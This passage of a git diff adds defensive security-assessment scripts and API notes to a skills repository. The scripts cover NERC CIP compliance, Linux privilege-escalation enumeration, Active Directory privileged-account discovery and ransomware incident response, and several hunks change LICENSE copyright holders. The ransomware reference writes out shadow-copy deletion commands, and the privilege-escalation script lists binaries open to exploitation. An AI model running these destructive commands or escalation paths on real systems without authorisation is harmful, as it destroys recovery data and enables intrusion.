pipeline.""" + metadata = analyze_firmware_metadata(firmware_file) + extraction = extract_firmware(firmware_file, output_dir) + if extraction.get("error"): + return {"metadata": metadata, "extraction": extraction} + credentials = scan_for_credentials(output_dir) + vulnerabilities = scan_for_vulnerabilities(output_dir) + return { + "generated": datetime.utcnow().isoformat(), + "metadata": metadata, + "extraction": {"files_extracted": extraction["files_extracted"]}, + "credentials": credentials, + "vulnerabilities": vulnerabilities, + "risk_level": "CRITICAL" if credentials["credential_findings"] > 0 else "HIGH" if vulnerabilities["vulnerability_findings"] > 5 else "MEDIUM", + } + + +def main(): + parser = argparse.ArgumentParser(description="PLC Firmware Security Analysis Agent") + sub = parser.add_subparsers(dest="command") + e = sub.add_parser("extract", help="Extract firmware image") + e.add_argument("--firmware", required=True) + e.add_argument("--output", default="/tmp/fw_extract") + m = sub.add_parser("metadata", help="Analyze firmware metadata") + m.add_argument("--firmware", required=True) + c = sub.add_parser("creds", help="Scan for hardcoded credentials") + c.add_argument("--dir", required=True, help="Extracted firmware directory") + v = sub.add_parser("vulns", help="Scan for vulnerability patterns") + v.add_argument("--dir", required=True) + f = sub.add_parser("full", help="Full firmware analysis") + f.add_argument("--firmware", required=True) + f.add_argument("--output", default="/tmp/fw_extract") + args = parser.parse_args() + if args.command == "extract": + result = extract_firmware(args.firmware, args.output) + elif args.command == "metadata": + result = analyze_firmware_metadata(args.firmware) + elif args.command == "creds": + result = scan_for_credentials(args.dir) + elif args.command == "vulns": + result = scan_for_vulnerabilities(args.dir) + elif args.command == "full": + result = full_analysis(args.firmware, args.output) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-power-grid-cybersecurity-assessment/LICENSE b/skills/performing-power-grid-cybersecurity-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-power-grid-cybersecurity-assessment/LICENSE +++ b/skills/performing-power-grid-cybersecurity-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md b/skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md new file mode 100644 index 00000000..8e90b6a1 --- /dev/null +++ b/skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md @@ -0,0 +1,40 @@ +# API Reference — Performing Power Grid Cybersecurity Assessment + +## Libraries Used +- **csv**: Parse and generate NERC CIP assessment CSV files + +## CLI Interface +``` +python agent.py template [--output nerc_cip_template.csv] +python agent.py assess --csv completed_assessment.csv +python agent.py esp --firewall-csv esp_rules.csv +``` + +## Core Functions + +### `generate_assessment_template(output_file)` — Create NERC CIP checklist +Generates CSV with all requirements from 11 CIP standards. + +### `assess_compliance(assessment_csv)` — Score compliance per standard +Calculates pass/fail rates per CIP standard. Lists all gap findings. + +### `assess_esp_security(firewall_csv)` — Electronic Security Perimeter audit +Checks for: allow-from-any rules, allow-any-protocol, missing default-deny. + +## NERC CIP Standards Covered (11) +| Standard | Title | Checks | +|----------|-------|--------| +| CIP-002 | BES Cyber System Categorization | 3 | +| CIP-003 | Security Management Controls | 3 | +| CIP-004 | Personnel & Training | 3 | +| CIP-005 | Electronic Security Perimeter | 4 | +| CIP-006 | Physical Security | 3 | +| CIP-007 | System Security Management | 4 | +| CIP-008 | Incident Reporting | 3 | +| CIP-009 | Recovery Plans | 3 | +| CIP-010 | Configuration Change Management | 3 | +| CIP-011 | Information Protection | 3 | +| CIP-013 | Supply Chain Risk Management | 3 | + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py b/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py new file mode 100644 index 00000000..942c26fa --- /dev/null +++ b/skills/performing-power-grid-cybersecurity-assessment/scripts/agent.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +"""Agent for performing power grid cybersecurity assessment based on NERC CIP standards.""" + +import json +import argparse +import csv +from datetime import datetime +from pathlib import Path + + +NERC_CIP_STANDARDS = { + "CIP-002": {"title": "BES Cyber System Categorization", "checks": [ + "All BES cyber systems identified and categorized", + "Impact ratings (High/Medium/Low) assigned to all assets", + "Annual review of BES cyber system list completed", + ]}, + "CIP-003": {"title": "Security Management Controls", "checks": [ + "Cybersecurity policy documented and approved", + "Senior manager designated for CIP compliance", + "Annual policy review completed", + ]}, + "CIP-004": {"title": "Personnel & Training", "checks": [ + "Security awareness training completed for all personnel", + "Background checks on personnel with authorized access", + "Access revocation within 24 hours of termination", + ]}, + "CIP-005": {"title": "Electronic Security Perimeter", "checks": [ + "Electronic Security Perimeter (ESP) defined", + "All external routable connectivity through EAP", + "Inbound/outbound access permissions documented", + "Interactive remote access uses encryption and MFA", + ]}, + "CIP-006": {"title": "Physical Security", "checks": [ + "Physical Security Perimeter (PSP) defined", + "Physical access control systems operational", + "Visitor escort and logging procedures in place", + ]}, + "CIP-007": {"title": "System Security Management", "checks": [ + "Ports and services documentation current", + "Security patches evaluated within 35 days", + "Malicious code prevention deployed", + "Security event monitoring enabled", + ]}, + "CIP-008": {"title": "Incident Reporting", "checks": [ + "Cyber security incident response plan documented", + "Incident response plan tested annually", + "Reportable incidents notified to E-ISAC within 1 hour", + ]}, + "CIP-009": {"title": "Recovery Plans", "checks": [ + "Recovery plans for BES cyber systems documented", + "Recovery plans tested annually", + "Backup media stored securely", + ]}, + "CIP-010": {"title": "Configuration Change Management", "checks": [ + "Baseline configurations documented", + "Change management process for cyber systems", + "Vulnerability assessments performed at least every 15 months", + ]}, + "CIP-011": {"title": "Information Protection", "checks": [ + "BES Cyber System Information (BCSI) identified", + "BCSI storage locations protected", + "BCSI disposal procedures documented", + ]}, + "CIP-013": {"title": "Supply Chain Risk Management", "checks": [ + "Supply chain risk management plan documented", + "Vendor risk assessments performed", + "Software integrity verification procedures", + ]}, +} + + +def generate_assessment_template(output_file=None): + """Generate NERC CIP compliance assessment template.""" + rows = [] + for std_id, std in NERC_CIP_STANDARDS.items(): + for i, check in enumerate(std["checks"], 1): + rows.append({ + "standard": std_id, "title": std["title"], + "check_id": f"{std_id}-{i:02d}", "requirement": check, + "status": "", "evidence": "", "gap": "", "remediation": "", + }) + if output_file: + with open(output_file, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=list(rows[0].keys())) + writer.writeheader() + writer.writerows(rows) + return {"total_checks": len(rows), "standards": list(NERC_CIP_STANDARDS.keys()), "output": output_file} + + +def assess_compliance(assessment_csv): + """Score NERC CIP compliance from completed assessment.""" + with open(assessment_csv, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rows = list(reader) + by_standard = {} + total_pass = 0 + total_fail = 0 + for row in rows: + std = row.get("standard", "") + status = row.get("status", "").lower() + is_pass = status in ("pass", "compliant", "yes", "met") + is_fail = status in ("fail", "non-compliant", "no", "not met", "gap") + by_standard.setdefault(std, {"pass": 0, "fail": 0, "total": 0}) + by_standard[std]["total"] += 1 + if is_pass: + by_standard[std]["pass"] += 1 + total_pass += 1 + elif is_fail: + by_standard[std]["fail"] += 1 + total_fail += 1 + for std in by_standard: + d = by_standard[std] + d["compliance_pct"] = round(d["pass"] / max(d["total"], 1) * 100, 1) + gaps = [row for row in rows if row.get("status", "").lower() in ("fail", "non-compliant", "no", "not met", "gap")] + return { + "total_requirements": len(rows), "passed": total_pass, "failed": total_fail, + "overall_compliance": round(total_pass / max(len(rows), 1) * 100, 1), + "by_standard": by_standard, + "gaps": [{"standard": g.get("standard"), "check": g.get("check_id"), + "requirement": g.get("requirement", "")[:150], + "gap": g.get("gap", "")[:150]} for g in gaps[:20]], + } + + +def assess_esp_security(firewall_csv): + """Assess Electronic Security Perimeter configuration.""" + with open(firewall_csv, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rules = list(reader) + findings = [] + for rule in rules: + action = rule.get("action", "").lower() + src = rule.get("source", rule.get("src", "")) + dst = rule.get("destination", rule.get("dst", "")) + if action == "allow" and src.lower() in ("any", "0.0.0.0/0"): + findings.append({"rule": rule.get("id", rule.get("name", "")), "issue": "ALLOW_FROM_ANY", "severity": "CRITICAL"}) + if action == "allow" and rule.get("protocol", "").lower() in ("any", "all"): + findings.append({"rule": rule.get("id", ""), "issue": "ALLOW_ANY_PROTOCOL", "severity": "HIGH"}) + has_default_deny = any(r.get("action", "").lower() in ("deny", "drop") and r.get("source", "").lower() in ("any", "0.0.0.0/0") + for r in rules) + if not has_default_deny: + findings.append({"issue": "NO_DEFAULT_DENY", "severity": "CRITICAL"}) + return { + "total_rules": len(rules), + "findings": findings[:20], + "default_deny": has_default_deny, + "esp_compliance": "PASS" if not findings else "FAIL", + } + + +def main(): + parser = argparse.ArgumentParser(description="Power Grid Cybersecurity Assessment Agent (NERC CIP)") + sub = parser.add_subparsers(dest="command") + t = sub.add_parser("template", help="Generate NERC CIP assessment template") + t.add_argument("--output", help="Output CSV file") + a = sub.add_parser("assess", help="Score compliance assessment") + a.add_argument("--csv", required=True) + e = sub.add_parser("esp", help="Assess Electronic Security Perimeter") + e.add_argument("--firewall-csv", required=True) + args = parser.parse_args() + if args.command == "template": + result = generate_assessment_template(args.output) + elif args.command == "assess": + result = assess_compliance(args.csv) + elif args.command == "esp": + result = assess_esp_security(args.firewall_csv) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-privilege-escalation-assessment/LICENSE b/skills/performing-privilege-escalation-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-privilege-escalation-assessment/LICENSE +++ b/skills/performing-privilege-escalation-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-privilege-escalation-on-linux/LICENSE b/skills/performing-privilege-escalation-on-linux/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-privilege-escalation-on-linux/LICENSE +++ b/skills/performing-privilege-escalation-on-linux/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-privilege-escalation-on-linux/references/api-reference.md b/skills/performing-privilege-escalation-on-linux/references/api-reference.md new file mode 100644 index 00000000..0ae01d0a --- /dev/null +++ b/skills/performing-privilege-escalation-on-linux/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference — Performing Privilege Escalation on Linux + +## Libraries Used +- **subprocess**: Execute system enumeration commands (sudo, find, getcap, crontab) +- **os**: Check file writability with os.access() +- **pathlib**: File system navigation +- **re**: Pattern matching for cron script paths + +## CLI Interface +``` +python agent.py sysinfo +python agent.py sudo +python agent.py suid +python agent.py writable +python agent.py cron +python agent.py caps +python agent.py full +``` + +## Core Functions + +### `enumerate_system_info()` — Kernel, user, architecture info +### `check_sudo_permissions()` — Sudo privilege analysis +Checks `sudo -l` output against 30+ GTFOBins-exploitable binaries. +Detects NOPASSWD entries and full sudo access. + +### `find_suid_binaries()` — SUID/SGID binary enumeration +Identifies binaries with SUID bit set. Cross-references GTFOBins database. + +### `check_writable_files()` — Sensitive writable file detection +Checks: /etc/passwd, /etc/shadow, /etc/sudoers, /etc/crontab, /root, cron dirs. + +### `check_cron_jobs()` — Cron job privilege escalation vectors +Identifies writable scripts called from cron jobs (CRITICAL finding). + +### `check_capabilities()` — Linux capability enumeration +Flags: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override, cap_net_raw. + +### `full_enumeration()` — Combined analysis + +## GTFOBins SUID Exploitable Binaries (subset) +vim, find, bash, python, perl, nmap, env, tar, docker, strace, gdb, pkexec + +## Dangerous Sudo Patterns +| Pattern | Severity | Vector | +|---------|----------|--------| +| (ALL) NOPASSWD: /usr/bin/vim | CRITICAL | Shell escape | +| (ALL : ALL) ALL | CRITICAL | Full root access | +| NOPASSWD: /usr/bin/find | CRITICAL | -exec escalation | + +## Dependencies +No external packages — Python standard library only. +System: find, getcap, sudo, crontab diff --git a/skills/performing-privilege-escalation-on-linux/scripts/agent.py b/skills/performing-privilege-escalation-on-linux/scripts/agent.py new file mode 100644 index 00000000..916b3f4a --- /dev/null +++ b/skills/performing-privilege-escalation-on-linux/scripts/agent.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +"""Agent for performing Linux privilege escalation enumeration — authorized testing only.""" + +import json +import argparse +import subprocess +import os +import re +from datetime import datetime +from pathlib import Path + + +def enumerate_system_info(): + """Gather basic system information for privilege escalation assessment.""" + cmds = { + "hostname": ["hostname"], + "kernel": ["uname", "-a"], + "os_release": ["cat", "/etc/os-release"], + "architecture": ["uname", "-m"], + "current_user": ["whoami"], + "id": ["id"], + "env_path": ["echo", "$PATH"], + } + results = {} + for key, cmd in cmds.items(): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + results[key] = result.stdout.strip() + except Exception as e: + results[key] = str(e) + return {"system_info": results, "timestamp": datetime.utcnow().isoformat()} + + +def check_sudo_permissions(): + """Check sudo permissions for current user.""" + try: + result = subprocess.run(["sudo", "-l"], capture_output=True, text=True, timeout=10) + output = result.stdout + result.stderr + escalation_vectors = [] + dangerous_binaries = [ + "vim", "vi", "nano", "less", "more", "man", "find", "nmap", "python", + "python3", "perl", "ruby", "lua", "awk", "bash", "sh", "env", "cp", + "mv", "tar", "zip", "wget", "curl", "ftp", "nc", "ncat", "docker", + "lxc", "mount", "strace", "ltrace", "gdb", "journalctl", "systemctl", + ] + for binary in dangerous_binaries: + if binary in output and "NOPASSWD" in output: + escalation_vectors.append({"binary": binary, "type": "SUDO_NOPASSWD", "severity": "CRITICAL"}) + elif binary in output: + escalation_vectors.append({"binary": binary, "type": "SUDO_WITH_PASSWORD", "severity": "HIGH"}) + if "ALL) ALL" in output or "(ALL : ALL) ALL" in output: + escalation_vectors.append({"type": "FULL_SUDO", "severity": "CRITICAL"}) + return { + "sudo_output": output[:1000], + "escalation_vectors": escalation_vectors, + "has_sudo": result.returncode == 0, + } + except Exception as e: + return {"error": str(e)} + + +def find_suid_binaries(): + """Find SUID/SGID binaries that may allow privilege escalation.""" + cmd = ["find", "/", "-perm", "-4000", "-type", "f", "-exec", "ls", "-la", "{}", ";"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + binaries = [] + gtfobins_suid = [ + "nmap", "vim", "find", "bash", "more", "less", "nano", "cp", "mv", + "python", "python3", "perl", "ruby", "awk", "env", "tar", "zip", + "docker", "strace", "ltrace", "gdb", "pkexec", "mount", + ] + for line in result.stdout.strip().splitlines(): + parts = line.split() + if len(parts) >= 9: + path = parts[-1] + name = Path(path).name + exploitable = name in gtfobins_suid + binaries.append({ + "path": path, "permissions": parts[0], + "owner": parts[2], "group": parts[3], + "exploitable": exploitable, + }) + exploitable = [b for b in binaries if b["exploitable"]] + return { + "total_suid": len(binaries), + "exploitable": len(exploitable), + "suid_binaries": binaries[:30], + "exploitable_binaries": exploitable, + } + except Exception as e: + return {"error": str(e)} + + +def check_writable_files(): + """Find world-writable files and directories of interest.""" + interesting_paths = ["/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/crontab", + "/etc/cron.d", "/etc/systemd/system", "/root"] + findings = [] + for path in interesting_paths: + p = Path(path) + if p.exists(): + writable = os.access(str(p), os.W_OK) + if writable: + findings.append({"path": path, "writable": True, "severity": "CRITICAL"}) + cmd = ["find", "/", "-writable", "-type", "f", "-not", "-path", "'/proc/*'", + "-not", "-path", "'/sys/*'", "-not", "-path", "'/dev/*'"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + writable_files = result.stdout.strip().splitlines()[:50] + sensitive = [f for f in writable_files if any(p in f for p in ["/etc/", "/root/", "cron", ".service", "/bin/", "/sbin/"])] + findings.extend([{"path": f, "writable": True, "severity": "HIGH"} for f in sensitive[:10]]) + except Exception: + pass + return {"writable_findings": findings, "total_findings": len(findings)} + + +def check_cron_jobs(): + """Enumerate cron jobs for privilege escalation opportunities.""" + findings = [] + cron_paths = ["/etc/crontab", "/etc/cron.d", "/var/spool/cron/crontabs"] + for path in cron_paths: + p = Path(path) + if p.is_file(): + content = p.read_text(encoding="utf-8", errors="replace") + for line in content.splitlines(): + if line.strip() and not line.startswith("#"): + writable_script = re.search(r"(/\S+\.sh|/\S+\.py|/\S+\.pl)", line) + if writable_script: + script = writable_script.group(1) + if Path(script).exists() and os.access(script, os.W_OK): + findings.append({"cron_file": str(p), "script": script, "writable": True, "severity": "CRITICAL"}) + elif p.is_dir(): + for f in p.iterdir(): + if f.is_file(): + findings.append({"cron_file": str(f), "type": "cron.d entry"}) + try: + result = subprocess.run(["crontab", "-l"], capture_output=True, text=True, timeout=10) + if result.returncode == 0: + findings.append({"type": "user_crontab", "content": result.stdout[:500]}) + except Exception: + pass + return {"cron_findings": findings} + + +def check_capabilities(): + """Find binaries with Linux capabilities set.""" + try: + result = subprocess.run(["getcap", "-r", "/"], capture_output=True, text=True, timeout=15) + caps = [] + for line in result.stdout.strip().splitlines(): + parts = line.split(" = ") + if len(parts) == 2: + binary = parts[0].strip() + cap = parts[1].strip() + dangerous = any(c in cap for c in ["cap_setuid", "cap_setgid", "cap_sys_admin", "cap_dac_override", "cap_net_raw"]) + caps.append({"binary": binary, "capabilities": cap, "dangerous": dangerous}) + return {"capabilities": caps, "dangerous_caps": [c for c in caps if c["dangerous"]]} + except Exception as e: + return {"error": str(e)} + + +def full_enumeration(): + """Run complete privilege escalation enumeration.""" + return { + "timestamp": datetime.utcnow().isoformat(), + "system": enumerate_system_info(), + "sudo": check_sudo_permissions(), + "suid": find_suid_binaries(), + "writable": check_writable_files(), + "cron": check_cron_jobs(), + "capabilities": check_capabilities(), + } + + +def main(): + parser = argparse.ArgumentParser(description="Linux Privilege Escalation Enumeration Agent (Authorized Only)") + sub = parser.add_subparsers(dest="command") + sub.add_parser("sysinfo", help="System information") + sub.add_parser("sudo", help="Check sudo permissions") + sub.add_parser("suid", help="Find SUID/SGID binaries") + sub.add_parser("writable", help="Find writable sensitive files") + sub.add_parser("cron", help="Enumerate cron jobs") + sub.add_parser("caps", help="Check Linux capabilities") + sub.add_parser("full", help="Full enumeration") + args = parser.parse_args() + if args.command == "sysinfo": + result = enumerate_system_info() + elif args.command == "sudo": + result = check_sudo_permissions() + elif args.command == "suid": + result = find_suid_binaries() + elif args.command == "writable": + result = check_writable_files() + elif args.command == "cron": + result = check_cron_jobs() + elif args.command == "caps": + result = check_capabilities() + elif args.command == "full": + result = full_enumeration() + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-privileged-account-access-review/LICENSE b/skills/performing-privileged-account-access-review/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-privileged-account-access-review/LICENSE +++ b/skills/performing-privileged-account-access-review/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-privileged-account-discovery/LICENSE b/skills/performing-privileged-account-discovery/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-privileged-account-discovery/LICENSE +++ b/skills/performing-privileged-account-discovery/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-privileged-account-discovery/references/api-reference.md b/skills/performing-privileged-account-discovery/references/api-reference.md new file mode 100644 index 00000000..135669bb --- /dev/null +++ b/skills/performing-privileged-account-discovery/references/api-reference.md @@ -0,0 +1,58 @@ +# Privileged Account Discovery — API Reference + +## ldap3 Library + +Python LDAP client used for querying Active Directory. + +### Connection Setup +```python +from ldap3 import Server, Connection, ALL, SUBTREE +server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True) +conn = Connection(server, user="DOMAIN\user", password="pass", auto_bind=True) +``` + +### Key Search Filters + +| Purpose | LDAP Filter | +|---------|-------------| +| Privileged group | `(&(objectClass=group)(cn=Domain Admins))` | +| Nested membership | `(memberOf:1.2.840.113556.1.4.1941:=)` | +| Service accounts | `(&(objectClass=user)(servicePrincipalName=*))` | +| AdminCount flag | `(&(objectClass=user)(adminCount=1))` | +| Disabled accounts | `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))` | + +### LDAP Matching Rules (OIDs) + +- `1.2.840.113556.1.4.1941` — `LDAP_MATCHING_RULE_IN_CHAIN` (recursive group membership) +- `1.2.840.113556.1.4.803` — `LDAP_MATCHING_RULE_BIT_AND` (bitwise AND for UAC flags) + +### UserAccountControl Flags + +| Flag | Hex | Description | +|------|-----|-------------| +| ACCOUNTDISABLE | 0x0002 | Account is disabled | +| PASSWD_NOTREQD | 0x0020 | No password required | +| DONT_EXPIRE_PASSWORD | 0x10000 | Password never expires | +| NOT_DELEGATED | 0x100000 | Account is sensitive for delegation | + +## Default Privileged Groups + +Domain Admins, Enterprise Admins, Schema Admins, Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins. + +## Output Schema + +```json +{ + "report": "privileged_account_discovery", + "domain": "DC=example,DC=com", + "privileged_groups": [{"group": "Domain Admins", "member_count": 5, "members": []}], + "service_accounts": [{"username": "svc_sql", "spns": ["MSSQLSvc/db01:1433"]}], + "admin_count_users": ["oldadmin", "testuser"] +} +``` + +## CLI Usage + +```bash +python agent.py --server ldaps://dc.example.com --username "DOMAIN\analyst" --password "pass" --output report.json +``` diff --git a/skills/performing-privileged-account-discovery/scripts/agent.py b/skills/performing-privileged-account-discovery/scripts/agent.py new file mode 100644 index 00000000..3a784136 --- /dev/null +++ b/skills/performing-privileged-account-discovery/scripts/agent.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +"""Privileged Account Discovery agent — enumerates privileged accounts across +Active Directory using ldap3 and flags shadow admin paths.""" + +import argparse +import json +import sys +from datetime import datetime +from pathlib import Path + +try: + from ldap3 import Server, Connection, ALL, SUBTREE +except ImportError: + print("Install ldap3: pip install ldap3", file=sys.stderr) + sys.exit(1) + + +PRIVILEGED_GROUPS = [ + "Domain Admins", "Enterprise Admins", "Schema Admins", + "Administrators", "Account Operators", "Backup Operators", + "Server Operators", "Print Operators", "DnsAdmins", +] + + +def connect_ldap(server_url: str, username: str, password: str, use_ssl: bool = True) -> Connection: + """Establish LDAP connection.""" + srv = Server(server_url, get_info=ALL, use_ssl=use_ssl) + conn = Connection(srv, user=username, password=password, auto_bind=True) + return conn + + +def get_domain_dn(conn: Connection) -> str: + """Extract domain distinguished name from RootDSE.""" + return conn.server.info.other.get("defaultNamingContext", [""])[0] + + +def enumerate_privileged_groups(conn: Connection, base_dn: str) -> list[dict]: + """Find all privileged group memberships recursively.""" + results = [] + for group_name in PRIVILEGED_GROUPS: + search_filter = f"(&(objectClass=group)(cn={group_name}))" + conn.search(base_dn, search_filter, search_scope=SUBTREE, + attributes=["cn", "member", "distinguishedName"]) + for entry in conn.entries: + members = entry.member.values if hasattr(entry.member, "values") else [] + results.append({ + "group": str(entry.cn), + "dn": str(entry.distinguishedName), + "member_count": len(members), + "members": [str(m) for m in members], + }) + return results + + +def find_nested_memberships(conn: Connection, base_dn: str, group_dn: str) -> list[str]: + """Resolve nested group memberships using LDAP_MATCHING_RULE_IN_CHAIN.""" + search_filter = f"(memberOf:1.2.840.113556.1.4.1941:={group_dn})" + conn.search(base_dn, search_filter, search_scope=SUBTREE, + attributes=["sAMAccountName", "objectClass"]) + return [str(e.sAMAccountName) for e in conn.entries] + + +def find_service_accounts(conn: Connection, base_dn: str) -> list[dict]: + """Discover service accounts via servicePrincipalName.""" + search_filter = "(&(objectClass=user)(servicePrincipalName=*))" + conn.search(base_dn, search_filter, search_scope=SUBTREE, + attributes=["sAMAccountName", "servicePrincipalName", + "adminCount", "whenChanged", "userAccountControl"]) + accounts = [] + for entry in conn.entries: + uac = int(str(entry.userAccountControl)) if hasattr(entry, "userAccountControl") else 0 + accounts.append({ + "username": str(entry.sAMAccountName), + "spns": [str(s) for s in entry.servicePrincipalName.values], + "admin_count": str(entry.adminCount) if hasattr(entry, "adminCount") else "0", + "password_never_expires": bool(uac & 0x10000), + "last_changed": str(entry.whenChanged), + }) + return accounts + + +def find_admin_count_users(conn: Connection, base_dn: str) -> list[str]: + """Find users with adminCount=1 (shadow admins or orphaned flags).""" + search_filter = "(&(objectClass=user)(adminCount=1))" + conn.search(base_dn, search_filter, search_scope=SUBTREE, + attributes=["sAMAccountName"]) + return [str(e.sAMAccountName) for e in conn.entries] + + +def generate_report(server_url: str, username: str, password: str, use_ssl: bool) -> dict: + """Run full privileged account discovery and build JSON report.""" + conn = connect_ldap(server_url, username, password, use_ssl) + base_dn = get_domain_dn(conn) + + priv_groups = enumerate_privileged_groups(conn, base_dn) + svc_accounts = find_service_accounts(conn, base_dn) + admin_count_users = find_admin_count_users(conn, base_dn) + total_priv = sum(g["member_count"] for g in priv_groups) + + conn.unbind() + return { + "report": "privileged_account_discovery", + "generated_at": datetime.utcnow().isoformat() + "Z", + "domain": base_dn, + "privileged_groups": priv_groups, + "total_privileged_members": total_priv, + "service_accounts": svc_accounts, + "admin_count_users": admin_count_users, + "summary": { + "privileged_groups_found": len(priv_groups), + "service_accounts": len(svc_accounts), + "admin_count_flagged_users": len(admin_count_users), + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Privileged Account Discovery Agent") + parser.add_argument("--server", required=True, help="LDAP server URL (ldaps://dc.example.com)") + parser.add_argument("--username", required=True, help="Bind DN or UPN") + parser.add_argument("--password", required=True, help="Bind password") + parser.add_argument("--no-ssl", action="store_true", help="Disable SSL") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.server, args.username, args.password, not args.no_ssl) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-purple-team-exercise/LICENSE b/skills/performing-purple-team-exercise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-purple-team-exercise/LICENSE +++ b/skills/performing-purple-team-exercise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ransomware-incident-response/LICENSE b/skills/performing-ransomware-incident-response/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ransomware-incident-response/LICENSE +++ b/skills/performing-ransomware-incident-response/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ransomware-incident-response/references/api-reference.md b/skills/performing-ransomware-incident-response/references/api-reference.md new file mode 100644 index 00000000..f1bce50c --- /dev/null +++ b/skills/performing-ransomware-incident-response/references/api-reference.md @@ -0,0 +1,63 @@ +# Ransomware Incident Response - API Reference + +## File System Scanning + +### Ransomware Extensions +Common encrypted file extensions: `.encrypted`, `.locked`, `.crypt`, `.locky`, `.cerber`, `.zepto`, `.wncry`, `.wnry`, `.wcry`, `.onion`, `.micro`, `.r5a` + +### Ransom Note Filenames +Common patterns: `readme.txt`, `how_to_decrypt.txt`, `decrypt_instructions.html`, `restore_files.txt`, `_readme.txt`, `how_to_recover.txt` + +## IOC Collection + +### hashlib (Python stdlib) +```python +sha = hashlib.sha256() +with open(path, "rb") as f: + for chunk in iter(lambda: f.read(8192), b""): + sha.update(chunk) +sha.hexdigest() +``` + +### ID Ransomware Identification +Upload ransom note or encrypted file sample to id-ransomware.malwarehunterteam.com for variant identification. + +## Shadow Copy Detection (Windows) + +```bash +vssadmin list shadows +``` + +Ransomware commonly deletes shadow copies via: +```bash +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +``` + +## Containment Checklist + +1. Network isolation - Disable NICs or move to quarantine VLAN +2. Evidence preservation - Disk image before remediation +3. Credential reset - krbtgt (twice), DA accounts, service accounts +4. Scope assessment - Enumerate affected hosts and shares +5. Variant identification - Submit IOCs to threat intel platforms +6. Recovery - Restore from clean backups after root cause confirmed + +## Output Schema + +```json +{ + "report": "ransomware_incident_response", + "encrypted_files_found": 342, + "ransom_notes_found": 5, + "shadow_copy_status": {"intact": false, "shadow_copies": 0}, + "containment_actions": [{"priority": 1, "action": "Isolate affected hosts"}], + "file_hashes": [{"path": "/data/file.encrypted", "sha256": "abc123..."}] +} +``` + +## CLI Usage + +```bash +python agent.py --target /mnt/affected_share --max-files 5000 --output report.json +``` diff --git a/skills/performing-ransomware-incident-response/scripts/agent.py b/skills/performing-ransomware-incident-response/scripts/agent.py new file mode 100644 index 00000000..10367ef4 --- /dev/null +++ b/skills/performing-ransomware-incident-response/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Ransomware Incident Response agent — automates initial triage, IOC +collection, and containment actions during a ransomware event.""" + +import argparse +import hashlib +import json +import os +import subprocess +import sys +from datetime import datetime +from pathlib import 